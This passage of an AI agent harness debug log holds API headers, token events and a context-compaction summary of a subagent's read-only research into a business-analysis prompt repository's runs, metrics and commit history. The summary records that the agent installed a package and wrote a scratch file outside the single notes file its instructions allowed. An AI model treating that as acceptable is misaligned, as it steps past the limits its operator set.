\"no-cache\",\n[2026-09-29T07:47:46.417Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:46.422Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:46.428Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:46.431Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:46.436Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:46.440Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:46.443Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:46.447Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:46.450Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:46.454Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:46.460Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:46.464Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.467Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:46.470Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:46.476Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:46.479Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:46.483Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.486Z] [STDOUT]   \"request-id\": \"req_011CfXMw87CXVyPQ8Ppqc1Yb\",\n[2026-09-29T07:47:46.491Z] [STDOUT]   \"traceresponse\": \"00-86d1ca49cf41497ad507b48c49382bfb-831ba15a6a4528ba-01\",\n[2026-09-29T07:47:46.496Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:46.502Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:46.504Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:46.508Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:46.512Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:46.516Z] [STDOUT]   \"cf-ray\": \"a42961b0dcf5dbb5-FRA\",\n[2026-09-29T07:47:46.519Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:46.528Z] [STDOUT] [log_f372e1] response parsed {\n[2026-09-29T07:47:46.535Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:46.540Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:46.548Z] [STDOUT]   body: X {\n[2026-09-29T07:47:46.554Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:46.557Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:46.559Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:46.563Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:46.567Z] [STDOUT]     },\n[2026-09-29T07:47:46.570Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:46.573Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:46.580Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:46.584Z] [STDOUT]   },\n[2026-09-29T07:47:46.593Z] [STDOUT]   durationMs: 776,\n[2026-09-29T07:47:46.607Z] [STDOUT] }\n[2026-09-29T07:47:46.698Z] [INFO] {\n[2026-09-29T07:47:46.698Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:46.698Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:46.698Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:46.698Z] [INFO]   \"uuid\": \"30e9aa32-9297-41c3-975a-16f97807a66c\"\n[2026-09-29T07:47:46.698Z] [INFO] }\n[2026-09-29T07:47:47.954Z] [INFO] {\n[2026-09-29T07:47:47.954Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:47:47.954Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:47.954Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:47.954Z] [INFO]   \"uuid\": \"42cbea5e-df89-4837-ba1e-2e5d70c0be29\"\n[2026-09-29T07:47:47.954Z] [INFO] }\n[2026-09-29T07:47:48.908Z] [INFO] {\n[2026-09-29T07:47:48.908Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"message\": {\n[2026-09-29T07:47:48.908Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:48.908Z] [INFO]     \"content\": [\n[2026-09-29T07:47:48.908Z] [INFO]       {\n[2026-09-29T07:47:48.908Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:47:48.908Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. Primary Request and Intent:\\nThe parent agent assigned a read-only research task. Constraint, verbatim: \\\"do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md\\\". The repo G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). The purpose is an executive presentation to the Head of AI development at Mango about a BA meta-model: how the project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nThe factual evidence report (Russian or English) must cover six areas, with exact paths and commit hashes/dates:\\n1. Top-level directory structure.\\n2. Runs: exact count and how it was counted, date range, record structure, task categories, and aggregated metrics with concrete numbers.\\n3. Evolution timeline from git log: phases and turning points (golden templates, validators, fail-closed, human gate, KB).\\n4. Documented lessons and defects (failure modes of direct LLM generation), with quotes.\\n5. Target-pipeline artifacts: normalization, reconciliation with docs, generation from golden templates with source links, human gate, translation to a development format.\\n6. Runtime environments (GigaCode, Cline, CLI, etc.).\\n\\nAlso required:\\n- GitHub URL format https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/, with the default branch verified.\\n- No invented numbers.\\n- `mkdir -p /tmp/research-notes`, then write the full report there.\\n- Return a concise summary (up to ~1500 words) with the most presentation-worthy facts.\\n- No emojis, absolute paths, and no other .md report files.\\n\\n2. Key Technical Concepts:\\n- Hub/spoke model: the spoke grew out of the monorepo Hub \\\"hybrid-Intelligence-lab\\\". The public playbooks repo is ai-ba-playbooks. The KB was later moved to the sister repo G-Ivan-A/mango-ba-ai-runtime (issue #361; pinned commit ed42b3cd0eed2774c9b080232ca00484d9a4f7cd; scripts/kb/runtime_snapshot.py).\\n- Taxonomy: 13 cognitive operations and 9 BA processes (docs/taxonomy.md).\\n- Prompt modes: stepwise / oneshot / legacy.\\n- Standards:\\n  - Prompt standard: 4 required frontmatter fields (status, version, updated, temperature 0.1).\\n  - Pattern standard: 8 fields.\\n- Runs contract: runs/YYYY/RUN-XXXX/ containing metadata.yaml, inputs/, outputs/, feedback/, logs/.\\n  - run_type values: execution / statistics / legacy (issue #293).\\n  - metrics block added by issue #271.\\n- Principles and gates:\\n  - DoD principle: \\\"\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.\\\"\\n  - Honest gap: \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (README.md, ai-governance/ai-governance.md:90, pr-ops/BACKLOG.md:324 issue #263).\\n  - fail-closed appears in ai-rules/ai-quick-rules.md and 17 files; \\\"human gate\\\" appears in 30 files.\\n  - Validators: scripts/validate_issue_*.py, scripts/validate_all.py, tools/validate-*.sh, CI .github/workflows/validate.yml.\\n- Citation formats: `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` pinned to a runtime commit (scripts/validate_issue_363_run.py, validate_issue_365_run.py). KB cross-verification uses pdfplumber vs PyMuPDF (scripts/kb/verify_extraction.py).\\n\\n3. Files and Code Sections (all paths relative to /tmp/mango_ba_prompts):\\n\\nGit facts:\\n- Default branch is main (remote HEAD \u2192 origin/main). Other branches: gh-pages, revert-340-issue-339-c354031e9147.\\n- 583 commits: 174 merges, 409 non-merge.\\n- Commits by month (all / non-merge): 2026-06 267/193; 2026-07 9/7; 2026-08 269/179; 2026-09 38/30.\\n- Authors: konard 442 (AI issue-solver bot), Ivan Gulienko 140, unknown 1.\\n- First commit: 53506bc on 2026-06-02, \\\"Add files via upload\\\" (README.md only). Last commit: 317a0a1 on 2026-09-28, merge PR #366.\\n\\nTop-level directories:\\n- ai-governance/ (4 files): constitution, security checklist.\\n- ai-rules/ (6): quick rules (fail-closed), handover prompt, onboarding protocol v1.5, adversarial-stress-testing.\\n- docs/ (86): adr/ (ADR 001\u2013011, 0001\u20130004), analysis/, audit/, report/, rfc/, ba-processes/, taxonomy.md, ba-ecosystem.md, screenshots/, superpowers/plans/.\\n- experiments/ (101): run-fixation and statistics scripts per issue.\\n- kb/ (41): README, USAGE, STRUCTURE_REVIEW, practices/source-backed-analysis.md, sources/*/meta.json. processed/ now points to the runtime repo.\\n- patterns/ (15): 7 patterns (asr-ingestion, fr-generation, fr-validation, glossary-context-generation, meeting-summary-generation, usecase-generation, user-story-generation).\\n- pr-ops/ (8): BACKLOG, artifact-map, migration manifest/registries, prompt-feedback.json, session-digests, sync-matrix.\\n- prompts/ (34): 26 top-level prompt files (oneshot/stepwise/legacy variants) plus archive/.\\n- runs/ (697 files).\\n- scripts/ (60): validators, generators, chat-export converters.\\n- site/ (26): SPA with Catalog, Dashboard, Roadmap, Processes, Patterns; password-protected reports/run-0060.\\n- standards/ (20): prompt, pattern, runs-contract, evals-contract, kb, bcreq-process, prompt-debugging-process, experiment-log, cascading-context-loading, ontology, etc.\\n- tools/ (5): Hub validators \u2014 frontmatter, file naming, structure.\\n- .archive/ and .github/ (ISSUE_TEMPLATE, workflows).\\n- Root files: README.md v2.4, CHANGELOG.md (216 KB), CONTRIBUTING.md, Makefile, LICENSE (MIT), .hub-profile.json.\\n\\nRuns, counted precisely:\\n- Counted with `ls runs/2026` and `ls -d runs/2026/RUN-*`: 69 directories, RUN-0001..RUN-0069, contiguous. All 69 have metadata.yaml, parsed with PyYAML.\\n- run_type: statistics 48, execution 21.\\n- status: draft 37, works-with-edits 19, partial-success 8, success 2 (RUN-0006, RUN-0060), experimental 1, needs-rework 1 (RUN-0020), invalid 1 (RUN-0063, superseded by RUN-0067).\\n- Metadata dates run from 2026-04-10 (RUN-0027) to 2026-09-28 (RUN-0068/0069). Commits only start 2026-06-02; earlier runs were fixed retroactively from chat exports.\\n- RUN-0001..0012 were migrated in Phase 0 (issue #123).\\n- RUN-0030..0054 are 25 chat exports from issue #309, generated by experiments/issue_309_fixate_runs.py (commit 946e605, 2026-08-22).\\n- Field presence: metrics 56, feedback 56, logs 59, inputs 59, related_runs 32.\\n- Model field:\\n  - not-recorded 10.\\n  - Qwen family: qwen3.5/3.6/3.7-plus, qwen3-max variants, qwen3-235b-a22b, qwen3-coder-plus, qwen3-vl-30b-a3b, qwen3.8-max-preview.\\n  - claude-opus-5 7, claude-opus-5-5 2, claude-opus-4-8 1 (RUN-0012), gpt-5.6-sol 4 (RUN-0062..0065).\\n  - RUN-0055: qwen3.7-plus primary with claude-opus-5 verification.\\n- Author field: \\\"BA/AI\\\" (early), \\\"BA-IH + LLM\\\", \\\"AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\", \\\"AI issue solver (Claude Code)\\\" (RUN-0067), \\\"OpenAI Codex\\\" (RUN-0064).\\n\\nAggregated metrics (computed from metadata `metrics` blocks):\\n- hallucinations recorded in 11 runs (RUN-0015,16,18,21,22,24\u201329): 41 total, 12 shipped into artifacts.\\n- quality (scale apparently 1\u20135) in 10 runs: all 3, except RUN-0028 = 2. RUN-0014 eval.quality = 2, defects = 5, factual_distortions = 1, target_artifact \\\"not-produced\\\", success_rate 0.25.\\n- success_rate recorded in 19 runs; mean \u2248 0.67, range 0.25\u20131.0. Examples: RUN-0019 0.29, RUN-0022 0.92, RUN-0058/59/60 1.0.\\n- ba_edits in 10 runs: 53 total. Episodes in 42 runs: 1095 total.\\n- tokens_dialog_total across 33 runs: \u224862.1M. tokens_input across 35 runs: \u224860.4M. tokens_output across 38 runs: \u22481.96M.\\n- duration_active_s across 41 runs: \u2248103.5 h.\\n- Caveat: RUN-0025 tokens_output/thinking (15262/6614) equal RUN-0015's, and its tokens_input 1322626 equals RUN-0015's tokens_context_refeed_sum. Possible duplication; flag it.\\n- Separate metric styles exist: RUN-0017 (2,536,400 total tokens, 3.04 h) and RUN-0020 (15.65M tokens, max context 523,249, 92.78 h wall-clock).\\n- One run's top-level metadata (probably RUN-0013; not verified) has success_rate 0.62 (\\\"75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438\\\"), tokens_input 79,405,522, tokens_output 543,180, 242 turns, 44 calendar days.\\n\\nFeasibility runs:\\n- RUN-0057: 101 requirements; coverage_none 37; 64/101 = 0.63; 16 vendor questions; 7 pilot spikes.\\n- RUN-0066: 386 assessed; 338 yes / 34 partial / 14 no; 702 atomic citations.\\n- RUN-0068: 22 requirements; 3/7/11/1; template_v4_matches_over_90 = 0.\\n- RUN-0069: 59 requirements; 20/15/14/10; template_v4_max_similarity 0.638.\\n- RUN-0056: 7/10 FRs fully assessed; 7 critical gaps.\\n\\nTask categories (runs/README.md registry):\\n- Prompt experiments, audits and self-tests (RUN-0001..0005).\\n- FR generation/validation/drafting for BCREQ tickets and Mango integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n- Clarifying questions, and meeting transcript analysis.\\n- Tender TZ feasibility assessments L0\u2013L4: Utair.Chat, STT/TTS/NLU, task-1099 telephony, BCREQ-1114.\\n- Gap analysis and architecture spikes for the HH.ru \u2194 Mango CC integration.\\n- Link-review statistics (RUN-0061).\\n- FR rework (RUN-0063\u21920064\u21920067).\\n\\nKey documents read:\\n- docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md (issue #353), A/B on 65 rows, gpt-5.6-sol RUN-0065 vs claude-opus-5 RUN-0066:\\n  - Accuracy_verdict 31/65 = 47.7% vs 100%.\\n  - Accuracy_page 17/45 = 37.8% vs 64/64.\\n  - Hallucination_rate (page \u0394>2) 28/65 = 43.1% vs 0%.\\n  - Decomposition_quality 0% vs 100%.\\n  - Root cause: page numbers held in a manual EVIDENCE dictionary and replicated by lexical rules; the validator checked link shape but not frontmatter. RUN-0066 is the reference by definition.\\n- docs/report/2026-09-01-kb-assessment-error-analysis.md (issue #349): RUN-0062 narrowed the SSOT to 3 modules, turning missing data into missing capability. RUN-0065 used a keyword heuristic. Both validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\". New rules: search the full KB index first \u2192 web on trusted Mango domains only \u2192 \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" only with an escalation log; atomic decomposition; technical critic; validator checks.\\n- runs/2026/RUN-0064/reports/error-analysis.md (issue #345), n = 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1.\\n  - Examples: existing functionality presented as new FRs; a hypothesis promoted to fact; ignoring a screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\"; scope creep into access rights; flip-flopping on detail rows; stopping at questions with no final FR.\\n  - Root cause: no gate separating current state from required delta.\\n  - Recommendation: matrix `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438` with fail-closed on an empty source; screenshot/KB gate; decision log; two independent CBAP/eTOM passes.\\n- kb/practices/source-backed-analysis.md: anti-example \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (a hallucinated standard).\\n- docs/analysis/experiment-1027-analysis.md (issue #101, 2026-06-16): first real BA session with repo prompts. BA hypothesis H1: \\\"\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\\\" \u2014 partially confirmed.\\n- CHANGELOG entries:\\n  - #56: a single PDF of prompts was split into 23 standardized prompts (18 new, 5 legacy, 6 old canonical archived).\\n  - #54: the original single prompt file \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\".\\n  - #310: KB anti-hallucination cross-check over 9531 critical tokens, 0 unconfirmed; negative test experiments/kb-verify-detects-hallucination.py.\\n  - #101: experiment-log standard, prompt-debugging-process \\\"\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u2192 RFC \u2192 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u2192 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\\".\\n- Many runs are explicitly flagged \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (CHANGELOG lines ~693\u20131316). scripts/validate_issue_272_run_0019.py checks \\\"golden case\\\" wording.\\n- standards/evals-contract-standard.md defines the golden-set/rubric form, but no golden-set exists yet.\\n\\nTimeline commits (non-merge):\\n- 2026-06-02 to 06-05: bootstrap and Hub\u2192spoke migration (d159ab2 audit & migration RFC; 0c10eda bootstrap; 49d81a9 README M-001; ee90e7b normalize prompts; 8deffc8 migration manifest).\\n- 06-10: e90780f governance sync with Hub PR #208; 3a265e6 attached BA prompt file to drafts (#54).\\n- 06-11: d8a4759 \\\"split BA prompts draft into 23 standardized files (#56)\\\"; 00d2072 taxonomy of 13 operations and 9 processes (#52); 430fe9b prompt/pattern standards; 748ff6d ADR prompt standard.\\n- 06-13 to 06-16: 9eef477 GitHub Pages; 23115c6 MVP pattern library; ADR-003..010 (1885f7d \\\"ADR-009: multi-level BCREQ formation process \u2014 6 subprocesses, human gates\\\"; 37dc51c ADR-007 KB standard before RAG); 0363a44 experiment 1027 analysis; 2abf5e6 \\\"\u041e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 #101: \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043a v0.1 + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\\".\\n- 06-17 to 06-20: 7fb2b3b BCREQ-1025 experiment + RFC; 8b20fb6 dogfooding; a3784c4 KB ingestion pipeline (#111); 482b316 CI regression validator; LFS PDFs; b4269ad \\\"create runs/ with execution contract\\\"; c4163a1 cascading context loading.\\n- 07-03 KB after LFS cleanup; 07-14 dd20da9 RUN-0012.\\n- 08-17: vision correction (#263), Hub re-sync (#265).\\n- 08-21: e5e84d0 onboarding v1.5 + Hub validators (#267); a mass run-fixation day (RUN-0013..0029) with many renumbering commits; db54905 explicit run types (#293); 5d70a60 metrics contract (#271); 091c768 canonical root (#291).\\n- 08-22: validator optimization (#299); 946e605 25 chat exports \u2192 RUN-0030..0054; ae187ca KB 4 PDFs + cross-check (#310).\\n- 08-23 to 08-28: RUN-0055..0061; KB sections #317/#320; 37bb44a Issue Forms for runs (#323); 1dcca69 ADR-011 integration task artifacts + task taxonomy RFC (#335); 7369989 password-protected web report.\\n- 08-31 to 09-03: c4902e0 revert of a L0 run; RUN-0062..0067; a661e1b \\\"verify citation pagination\\\"; 00295d5 RCA; 3c53cbe RUN-0067 rework.\\n- 09-26: KB migration to runtime (cce374d, f64672c, c6471da).\\n- 09-28: 46a7ebe RUN-0068, dba7b47 RUN-0069.\\n\\nRuntime environments found:\\n- No mentions of GigaCode or Cline anywhere in the repo (0 files). Only a lowercase \\\"cline\\\" substring match in 2 files, which is irrelevant.\\n- LLM runs were in a Qwen web chat: runs/2026/RUN-0014/logs/metrics.md reads \\\"qwen3.7-plus (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441)\\\"; RUN-0018 feedback says \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, `auto_search: true`) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\". Chat-export JSON contains content_list[*].usage and extra.tool_result with web_search/web_extractor.\\n- The AI issue solver is konard/hive-mind on GitHub issues\u2192PRs, using Claude Code (RUN-0067), OpenAI Codex (RUN-0064), claude-opus-5/5-5 and gpt-5.6-sol.\\n- A redacted Codex trace exists: docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt.\\n- Local Python scripts are run manually (runs/README.md \\\"\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438\\\").\\n- The current working-directory repo mentions GigaCode guide backlog items B-219..B-222. That is outside mango_ba_prompts (probably the Hub) and was not investigated.\\n\\n4. Errors and fixes:\\n- `ModuleNotFoundError: No module named 'yaml'`: fixed with `pip install pyyaml -q`.\\n- Large outputs were persisted to tool-result files and read via sed.\\n\\n5. Problem Solving:\\n- Metrics were aggregated with Python and saved to /tmp/runs_metrics.json (a scratch file outside the repo).\\n- A possible duplication between RUN-0015 and RUN-0025 was identified and should be flagged.\\n\\n6. All user messages:\\n- A single task message (research task), whose substance is captured in section 1. Key constraints, verbatim: \\\"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md)\\\"; \\\"Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\\\"\\n\\n7. Pending Tasks:\\n- Optional further checks if tools become available:\\n  - ADR-009 human gates (docs/adr/009-bcreq-formation-process.md).\\n  - ADR-011 integration task artifacts (L0\u2013L4 levels).\\n  - docs/rfc/2026-08-task-taxonomy.md.\\n  - ai-rules/ai-quick-rules.md fail-closed wording.\\n  - standards/prompt-debugging-process.md.\\n  - Which run holds the 0.62 / 79.4M-token top-level metrics (likely RUN-0013).\\n  - docs/analysis/2026-08-21-runs-type-gap-analysis.md.\\n- Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first).\\n- Return the concise summary (\u2264~1500 words).\\n\\n8. Current Work:\\nEvidence collection was finishing. The last search looked for \\\"golden\\\"/\\\"\u044d\u0442\u0430\u043b\u043e\u043d\\\"/template references. It showed that golden-set is only defined in standards/evals-contract-standard.md and is acknowledged as absent, and that runs are repeatedly marked \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\". The next action was to write the report file.\\n\\n9. Optional Next Step:\\nCreate /tmp/research-notes/ and write the full evidence report (sections 1\u20136 plus the URL format https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/, with default branch main verified) using the facts above. Mark as \\\"not determined\\\" anything unverified, such as GigaCode/Cline usage (absent from the repo) and whether target-pipeline items like \\\"translation into contract/development format\\\" exist. Then return the concise summary to the caller.\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. Pick up the last task as if the break never happened.\"\n[2026-09-29T07:47:48.908Z] [INFO]       }\n[2026-09-29T07:47:48.908Z] [INFO]     ]\n[2026-09-29T07:47:48.908Z] [INFO]   },\n[2026-09-29T07:47:48.908Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"uuid\": \"63f8590d-51e4-43d2-968d-a1c6f38cb23d\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:48.793Z\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"isSynthetic\": true,\n[2026-09-29T07:47:48.908Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:48.908Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:48.908Z] [INFO] }\n[2026-09-29T07:47:48.938Z] [STDOUT] [log_98d68e] sending request {\n[2026-09-29T07:47:48.947Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:48.962Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:48.966Z] [STDOUT]   options: {\n[2026-09-29T07:47:48.974Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:48.979Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:48.987Z] [STDOUT]     body: {\n[2026-09-29T07:47:48.992Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:48.995Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:49.000Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:49.006Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:47:49.009Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:49.016Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:49.024Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:49.036Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:49.046Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:49.054Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:49.057Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:49.061Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:49.063Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:49.066Z] [STDOUT]     },\n[2026-09-29T07:47:49.068Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:49.072Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:49.075Z] 